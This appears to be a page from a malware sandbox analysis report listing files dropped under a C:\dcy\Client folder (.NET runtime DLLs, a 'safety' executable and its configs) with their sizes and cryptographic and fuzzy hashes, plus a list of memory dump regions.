SHA256 8271eda436b009e003152bce7682a115b01e6700d838b64e957ad978c2ac8667
MD5 609f2290195eeaa5445db3387f2f2f64
SHA1 3aaaef9d84f16e7819b3b4ccc39f2e2e782cb0e4
SHA512 52adde7612f316c0d86dde9c97cd732a8be3131aa3bb722e0a1cc4fd651db93c71c711da9f3f9c7ac3584a459b9889a23353c9206b9bb8533097db4fb1fde4de
SSDEEP 48:lM0eWgP0VsyRr1x3SJ4Qtwt+QYwtdW1ZAWod/0cRVsesNH3e2Ure2hr2u9TeOg1/:l0sJj59nTsNH3e2US2hr2u9hg1J59B
TLSH
T1D481CE20627FA01559EB025A715ABC5B6DB6E0099277B0FC7BF0E3901F97D148A1DA83
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

clrjit.dll

Path C:\dcy\Client\clrjit.dll
Size 1.7MB
SHA256 bd5936786cedc4119fa0508e41f5104ed351deae5c04c59e612f9c3a7b9aa65b
MD5 ec34ebfe140de879642b87e916343274
SHA1 c3e9602a9b31e507d7edfab1a20b383850811577
SHA512 92f0a3128a9386a9d2be2732a1342e6d1900bde1f03f62a99229256b1957a77226b7071a5ce62ecbd665525b1a318194e084ec85c34bf4798a2cf24d4f682412
SSDEEP 49152:InwlMPM7xNGajT3kXgy1JYBJlXhw5zcQCTH/AtU2gn9wcr8VHM1ndp:IU7ue3kYBjG5XOItUDn9wcrcAj
TLSH
T14A859E43A2F805FCD0AF9534C6574A1BEBB2B45913209FCF42F44A96AF237E2562E315
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

coreclr.dll

Path C:\dcy\Client\coreclr.dll
Size 4.8MB
SHA256 b600c8fdfe3210c55113dc9dc2a6f9e5630cb0b14f4efd8cc56e9d38df075e54
MD5 31fb22d665ceea55d1f064cdb6600549
SHA1 2f761f4bdfbb46068bf378a9b8dc7eade6723f02
SHA512 c94e0ab1eb9c7b48bf1436dd56667ccab99f2808695253294dc6292c03f43c23fa0737a75ced0e29973215256eb71d119a8d915bad4f75c75f4cef5e2212aa9c
SSDEEP 49152:g1/lfvVGhpbaoKUaJR2mqhzpiu9AhYLdSQbNAwJh679nRTCPtIlxlkWDhuWZ7gRp:wVGhpbaoKA7N8vSlGd1ed4+ebYD
TLSH
T1B0368D5AF2BD0098D4BAC0B8CAD30527FBB178591738DBEB06648A651F23BD16B3D351
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hostfxr.dll

Path C:\dcy\Client\hostfxr.dll
Size 357KB
SHA256 0a495d3a7befebf627a973760439da0f7f1f1667b99832f083664fac7641d2dc
MD5 2756893fc2cfe0036b926d1ff5f6c2fc
SHA1 cb4b8b21828ba738e6bfa619f99335756842148f
SHA512 094d8b233facb5983f72b8c624f1f59aeb62063f695d55a79ba343b929015e73fb4b7f5eb16fe39881f8462822f7d7502ac2d62c4fa01c9686035de28d459617
SSDEEP 6144:+E7Djww5R1Gv0crFfeUtJ9NZFSKJGDjq/2n1NonJLSHD6DPDh+vJpmE08QxsTZ6H:5MjrFPJ+OyUriJ4E8KtXZPK
TLSH
T1C6741916D6E8017CF0B7D679CAB28901EB727C494BB196CF139099661E73BD09E39323
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hostpolicy.dll

Path C:\dcy\Client\hostpolicy.dll
Size 397KB
SHA256 aec1393a96946d92ff061ce31a455559b773122218cd62af1df9a8328d60f70b
MD5 4612ceed8b6f626be0945fdd615d50e3
SHA1 adc371124acea8987ddf5a93ccaa11ab269c8987
SHA512 5d7f587aa61ea48e60077a6a5a77a43b365e50abb9beb17777ad580659e4b49381260dbebcbaad1d28e64c1d7a814f9d772f211a014d99603ef70e195d342a5d
SSDEEP 6144:Hvf1pnG2fGDIp/SnOWE5+1TlBVe8Hz7jTl3TtCOa9/Cm8QtxCt2QDZUbN94yKjc6:Hm2Q9rfe819SnKYLpURbSpxoy4rgE
TLSH
T15A842916D6EC0078F0B7E6798AB38941EB72784E47B196DF139089661F73BD09E39312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

is-LIBSC.tmp

Path C:\dcy\Client\is-LIBSC.tmp
Size 1.3MB
SHA256 db997cc194bb7b4c562d7b3e2ee94486e90667d1a56a69121608476830fe42c9
MD5 cee5687a8fc65460e05e84ef14d51d2e
SHA1 b5f203898c3b618d93e356a2d7f5f4aa0d0566ce
SHA512 ded7df3ae5a402b37d950b26b1ae9761c09bd4d24b6c9e833d7ceb36e8bf7db9742960fb83f976e40a192b5760103f3ed6d3b99c71f01b165bcc9681d12fd3f8
SSDEEP 12288:TK5qgLOsP0Ybjmk48Ol8Df4eYafGponKgdv3Bk3o0VHWHhFInlpimyquqC+pEAfF:TuJO/YKk0+4epegj3ibZL3rC7bwf
TLSH
T10D55495BD6BC4498CDA9D0F8C547491FE7B23814036466FF46A48B192F3BBE67AB8310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.deps.json

Path C:\dcy\Client\safety.deps.json
Size 121KB
SHA256 cc0d2944d28e419e3df88748fa1de7272556f62ee4af3885810c4fae8588c1bf
MD5 e8239249269170da269a0296ae440f32
SHA1 0685e1ed1e143d9fa94fb92e2b4da7a9148df9fd
SHA512 bdb28a14d7e5290c7628db3c1ecf003c8af54685189d970ea76c6ce3ac8d082800d31fa27e5a11cbf72a8713fe9b1ab4666d6e7d378d108cecf661f920a6a3e6
SSDEEP 3072:10Ijml0F/angEVkywKLFl0wvDg8dNJra4Sl9zk5HqLpE4tJJri7StLIdpYyFz5RQ:10Ijml0F/angEVkywKLFl0wvDg8dNJra
TLSH
T110C34335D9505EE70536BB9EA8794682F235036F6040584F78FC302D8F77EBA91A2B39
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.dll

Path C:\dcy\Client\safety.dll
Size 254KB
SHA256 70b8e66685e2ae1b8c38d402f8c611853a40999175c45f1bd960c958bd3b8b8e
MD5 ead80dcd5e821e0b6d7a0933924e2599
SHA1 b597d3c1c4ba7b98960e8c566ed48812d0039d8b
SHA512 7d2bb4a06339cb359973d153a6f3d528068caf0cdfa9e0edb74096fb4c0ff98ad4cc05ff4f0dc8f58cd6eb4b238e09097c2e0fe4be71123ce2ddaafecb15ec69
SSDEEP 3072:d/2QEMfZxquSbN64gJa8Xny83XqGChnly2TjGkdW9A2loDWnkV4P9TAmL18dIffS:d/nEMfKR8J1nyOaGCllcOGA2loDiZNf
TLSH
T18944394477F88A52F2BF6B75E8B141548B7AF907E86EE78D1D8CA4ED1DA23408C11723
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.exe

Path C:\dcy\Client\safety.exe
Size 158KB
SHA256 d4849a0c0bea4642c43c9070d92ef2124d44ce6dc06425bc67d2693696a61683
MD5 9989117f2bd3f2ecb21caee543921079
SHA1 73a8f5e2cce00ef32982ff7947d35806a52e82b6
SHA512 31df9e080040b176c9a592afcb2382a215fc5839432dc9089db29eb33e382bf63113ed32d85834907408f46679475e13ea5880bffd5ba2fa4779ba5484ab2387
SSDEEP 3072:SqeXA/4yIg9vkNPNu6H6xCYOihUE265cJoODjfSI:SvgvkNFNaxmpE8JXj/
TLSH
T15EF34B07E6A851BEE1B7D679C9914C41FB7278598B71A6CF03504AB60F63BD0AF39302
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

safety.runtimeconfig.json

Path C:\dcy\Client\safety.runtimeconfig.json
Size 561B
SHA256 3b643a842a2056e07b77c200f1faaf2f7227c9492cbee6c7568a44bbfc8a60a4
MD5 149708d9f5a06208f2637b249156cafd
SHA1 d2eceaa1080819f151ed633ee4aef63b81ac40a6
SHA512 f2901930530d4e2e0926eb0a636d47f13782e9c8e15a34b6c41f7ecaea9f80069aa3279afe1ce89757905641d54c966bafe71045e63f4e62738c48a0e268dbcb
TLSH
T16FF0E27ADA106D7714B9777DE52AC2C2FB30136B10001D5278FD041C6F779B64112F5A
MD5 SHA1 SHA512 TLSH

Submit Download

memory/264-83-0x0000000000400000-0x00000000004C4000-memory.dmp

Download

memory/264-2764-0x0000000000400000-0x00000000004C4000-memory.dmp

Download

memory/264-605-0x0000000000400000-0x00000000004C4000-memory.dmp

Download

memory/936-78-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-120-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-77-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-75-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-71-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-70-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-68-0x00007FF8A3910000-0x00007FF8A42B4000-memory.dmp

Download

memory/936-67-0x00000000008D0000-0x0000000000976000-memory.dmp

Download

memory/936-66-0x00007FF8A3A9F000-0x00007FF8A3AA0000-memory.dmp

Download

memory/4160-894-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/4160-2621-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/4160-2763-0x0000000000400000-0x00000000006F7000-memory.dmp

Download

memory/4160-2454-0x0000000000400000-0x00000000006F7000-memory.dmp

Download